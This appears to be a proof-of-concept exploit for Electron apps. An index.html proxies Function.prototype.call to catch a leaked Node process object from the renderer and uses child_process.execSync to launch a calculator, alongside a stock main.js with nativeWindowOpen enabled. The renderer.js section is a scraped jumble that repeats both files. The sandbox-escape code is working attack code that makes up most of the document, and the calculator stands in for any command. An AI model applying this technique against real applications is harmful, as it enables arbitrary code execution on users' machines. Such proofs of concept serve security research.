matt-/index.html

## index.html
<!DOCTYPE html>
<html>
    <head>
      <script>

      var proc = false;
      Function.prototype.call= new Proxy(Function.prototype.call, {
        apply: function(target, thisArg, argumentsList) {
          console.log(thisArg)
          if(!proc){
            proc = argumentsList.find(function(element) { // check all arguments for process
              if(element.pid){
                return element;
              }
            });
            if(proc){ // this is probably a process ref
              //document.write(proc.pid)
              if(proc.platform === "win32"){
                proc.mainModule.require('child_process').execSync('calc');
              }else{
                proc.mainModule.require('child_process').execSync('open /Applications/Calculator.app');
              }
            }
          }
          var ret = Reflect.apply(target, thisArg, argumentsList);
          return ret
        }
      });


      </script>
    </head>
    <body>
        <a href="#" onclick="location.href='about:blank';"><h1>Click</h1></a>
    </body>
</html>

## main.js
// Modules to control application life and create native browser window
const {app, BrowserWindow} = require('electron')

// Keep a global reference of the window object, if you don't, the window will
// be closed automatically when the JavaScript object is garbage collected.
let mainWindow

function createWindow () {
  // Create the browser window.
  mainWindow = new BrowserWindow(
    {
      width: 800,
      height: 600,
      "webPreferences": {
        //"preload": `${__dirname}/renderer.js`,
        "nodeIntegration": false,
        "nativeWindowOpen": true
      }
    }
  );

  // and load the index.html of the app.
  mainWindow.loadURL(`file://${__dirname}/index.html`);// this could be remote content
mainWindow.webContents.openDevTools()
  // Open the DevTools.
  // mainWindow.webContents.openDevTools()

  // Emitted when the window is closed.
  mainWindow.on('closed', function () {
    // Dereference the window object, usually you would store windows
    // in an array if your app supports multi windows, this is the time
    // when you should delete the corresponding element.
    mainWindow = null
  })
}

// This method will be called when Electron has finished
// initialization and is ready to create browser windows.
// Some APIs can only be used after this event occurs.
app.on('ready', createWindow)

// Quit when all windows are closed.
app.on('window-all-closed', function () {
  // On OS X it is common for applications and their menu bar
  // to stay active until the user quits explicitly with Cmd + Q
  if (process.platform !== 'darwin') {
    app.quit()
  }
})

app.on('activate', function () {
  // On OS X it's common to re-create a window in the app when the
  // dock icon is clicked and there are no other windows open.
  if (mainWindow === null) {
    createWindow()
  }
})

// In this file you can include the rest of your app's specific main process
// code. You can also put them in separate files and require them here.

## renderer.js

      
    Raw
  

              renderer.js
	<!DOCTYPE html>
	<html>
	<head>
	<script>

	var proc = false;
	Function.prototype.call= new Proxy(Function.prototype.call, {
	apply: function(target, thisArg, argumentsList) {
	console.log(thisArg)
	if(!proc){
	proc = argumentsList.find(function(element) { // check all arguments for process
	if(element.pid){
	return element;
	}
	});
	if(proc){ // this is probably a process ref
	//document.write(proc.pid)
	if(proc.platform === "win32"){
	proc.mainModule.require('child_process').execSync('calc');
	}else{
	proc.mainModule.require('child_process').execSync('open /Applications/Calculator.app');
	}
	}
	}
	var ret = Reflect.apply(target, thisArg, argumentsList);
	return ret
	}
	});


	</script>
	</head>
	<body>
	<a href="#" onclick="location.href='about:blank';"><h1>Click</h1></a>
	</body>
	</html>
	// Modules to control application life and create native browser window
	const {app, BrowserWindow} = require('electron')

	// Keep a global reference of the window object, if you don't, the window will
	// be closed automatically when the JavaScript object is garbage collected.
	let mainWindow

	function createWindow () {
	// Create the browser window.
	mainWindow = new BrowserWindow(
	{
	width: 800,
	height: 600,
	"webPreferences": {
	//"preload": `${__dirname}/renderer.js`,
	"nodeIntegration": false,
	"nativeWindowOpen": true
	}
	}
	);

	// and load the index.html of the app.
	mainWindow.loadURL(`file://${__dirname}/index.html`);// this could be remote content
	mainWindow.webContents.openDevTools()
	// Open the DevTools.
	// mainWindow.webContents.openDevTools()

	// Emitted when the window is closed.
	mainWindow.on('closed', function () {
	// Dereference the window object, usually you would store windows
	// in an array if your app supports multi windows, this is the time
	// when you should delete the corresponding element.
	mainWindow = null
	})
	}

	// This method will be called when Electron has finished
	// initialization and is ready to create browser windows.
	// Some APIs can only be used after this event occurs.
	app.on('ready', createWindow)

	// Quit when all windows are closed.
	app.on('window-all-closed', function () {
	// On OS X it is common for applications and their menu bar
	// to stay active until the user quits explicitly with Cmd + Q
	if (process.platform !== 'darwin') {
	app.quit()
	}
	})

	app.on('activate', function () {
	// On OS X it's common to re-create a window in the app when the
	// dock icon is clicked and there are no other windows open.
	if (mainWindow === null) {
	createWindow()
	}
	})

	// In this file you can include the rest of your app's specific main process
	// code. You can also put them in separate files and require them here.